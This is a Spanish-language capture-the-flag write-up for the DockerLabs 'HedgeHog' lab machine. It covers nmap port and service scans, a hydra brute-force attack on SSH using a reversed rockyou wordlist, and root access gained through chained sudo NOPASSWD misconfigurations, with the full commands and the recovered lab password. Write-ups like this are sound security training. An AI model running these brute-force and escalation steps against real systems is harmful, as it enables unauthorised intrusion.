> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-muy-facil/hedgehog.md).
# HedgeHog
### **1. Despliegue de la máquina**
#### **1.1. Descarga**
Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **HedgeHog** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.
#### **1.2. Descompresión**
Para extraer el contenido del archivo comprimido, utilizamos la herramienta `7z`:
```bash
7z x hedgehog.zip
```
#### **1.3. Ejecución**
Ejecutamos el script `auto_deploy.sh` para desplegar la máquina en Docker:
```bash
bash auto_deploy.sh hedgehog.tar
```
### **2. Reconocimiento**
#### **2.1. Verificación de conectividad**
Comprobamos la conectividad con la máquina objetivo mediante el comando `ping`:
```bash
ping -c 1 172.17.0.2
```
El valor `TTL=64` indica que el sistema operativo es **Linux**.
#### **2.2. Escaneo de puertos**
Realizamos un escaneo con `nmap` para identificar puertos abiertos:
```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```
**Resultados:**
* **Puerto 22:** SSH.
* **Puerto 80:** HTTP.
#### **2.3. Escaneo de servicios y versiones**
Para obtener más detalles sobre los servicios SSH y HTTP, vamos a realizar un escaneo más exhaustivo de los puertos 22 y 80:
```bash
nmap -p22,80 -sCV 172.17.0.2 -oN targeted
```
**Resultados:**
* **Puerto 22:** OpenSSH 9.6p1.
* **Puerto 80:** Apache httpd 2.4.58.
#### **2.4. Análisis del servicio HTTP**
Al acceder al puerto 80 desde un navegador (`http://172.17.0.2`), podemos observar un nombre de usuario potencial `tails`.
### **3. Explotación**
#### **3.1. Fuerza bruta sobre SSH**
Utilizamos la herramienta `hydra` para realizar un ataque de fuerza bruta contra el servicio SSH. Para mejorar la eficacia, invertimos el diccionario `rockyou.txt` y eliminamos los espacios iniciales. Estas acciones las podemos realizar ejecutando los siguientes comandos:
```bash
tac /usr/share/wordlists/rockyou.txt > rockyou_invertido.txt
```
```bash
sed -i 's/ //g' rockyou_invertido.txt
```
Ataque con `hydra`:
```bash
hydra -l tails -P rockyou_invertido.txt 172.17.0.2 ssh
```
**Resultado:** La contraseña para el usuario `tails` es `3117548331`.
#### **3.2. Acceso por SSH**
Iniciamos sesión en la máquina con las credenciales obtenidas:
```bash
ssh tails@172.17.0.2
```
### **4. Escalada de privilegios**
#### **4.1. Verificación de permisos sudo**
Comprobamos los permisos del usuario actual con:
```bash
sudo -l
```
**Resultado:**
```bash
(sonic) NOPASSWD: ALL
```
El usuario `tails` puede ejecutar cualquier comando como el usuario `sonic` sin proporcionar contraseña.
#### **4.2. Escalada al usuario sonic**
Ejecutamos el siguiente comando para obtener una shell como el usuario `sonic`:
```bash
sudo -u sonic /bin/bash
```
#### **4.3. Verificación de permisos como sonic**
Volvemos a ejecutar `sudo -l` para verificar permisos.
**Resultado:**
```bash
(ALL) NOPASSWD: ALL
```
El usuario `sonic` puede ejecutar cualquier comando como `root` sin proporcionar contraseña.
#### **4.4. Escalada a root**
Ejecutamos el siguiente comando para obtener una shell como el usuario `root`:
```bash
sudo -u root /bin/bash
```
Con esto, damos por completada la máquina HedgeHog.
